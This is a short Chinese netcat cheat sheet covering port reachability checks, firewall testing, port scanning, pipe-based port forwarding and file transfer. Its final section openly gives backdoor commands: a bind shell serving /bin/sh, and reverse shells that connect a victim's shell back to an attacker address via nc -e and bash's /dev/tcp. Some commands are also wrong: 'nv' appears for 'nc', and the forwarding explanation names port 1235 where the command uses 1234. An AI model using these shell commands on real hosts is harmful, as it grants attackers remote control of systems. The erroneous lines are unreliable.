几种常用的方式。
测试某个远程主机的监听端口是否可达
两种情况:
- 端口没有在监听;
- 在监听,被防火墙阻挡;
nv -nv -w 3 10.18.0.222 80
-w: 设置一个超时
-n: 不解析域名
-v:verbose
如果是udp的话加选项:‘-u’
判断防火墙是否“允许 or 禁止”某个端口
假设你在配置防火墙,禁止了某个端口,现在想判断配置是否生效。
在主机运行:
nc -lv -p 8080
监听这个端口。 从另一台主机连接:
nc 10.10.10.10 8080
如果是udp的话,两边都要加-u选项。
在默认情况下,nc 开启 listen 模式充当服务端,在接受【第一次】客户端连接之后,就会把监听端口关闭。如果你想要让 nc 始终监听模式,使之能【重复】接受客户端发起的连接,可以追加 -k 选项。
做一个简单的端口扫描(也可以作为单个端口的扫描)
nc -znv 199.19.111.30 1-1024
-z:开启“zero-I/O 模式”。该模式指的是:nc 只判断某个监听端口是否能连上,连上后不与对端进行数据通讯。
说明:优化输出
nc -znv x.x.x.x 1-1024 2>&1 | grep succeeded
上述命令中的 2>&1 用来把【stderr】合并到【stdout】
基于 nc 的端口转发(Port Forward)
-
创建命名管道:
mkfifo nc_pipe
-
同时启动两个nc:
nc -l -p 1234 < nc_pipe | nc 127.0.0.1 5678 > nc_pipe
运行上述命令之后,就可以把本机的 1235 端口重定向到本机的 5678 端口。
持续开启用‘-k’选项。
用nc传输文件
在接收端执行:
nc -l -p 8888 > filename
在发送端执行:
nc 10.18.0.1 8888 < filename
用nc命令传输文件相当于直接在裸的tcp层面传输,没有应用层,如果文件大或者数量多,性能优势会很明显。
用nc开启被动连接型后门
在被攻击者端:
nc -l -p 8888 -e /bin/sh
在攻击者端:
nc 10.18.0.1 8888
用nc开启主动连接型后门
服务端客户端对调 在攻击者端:
nc -lkp 8888
在被攻击者端:
nc -e /bin/sh 10.18.0.222 8888
或者:
bash -i >& /dev/tcp/10.18.0.222/8888 0>&1
这条命令连nc都不需要。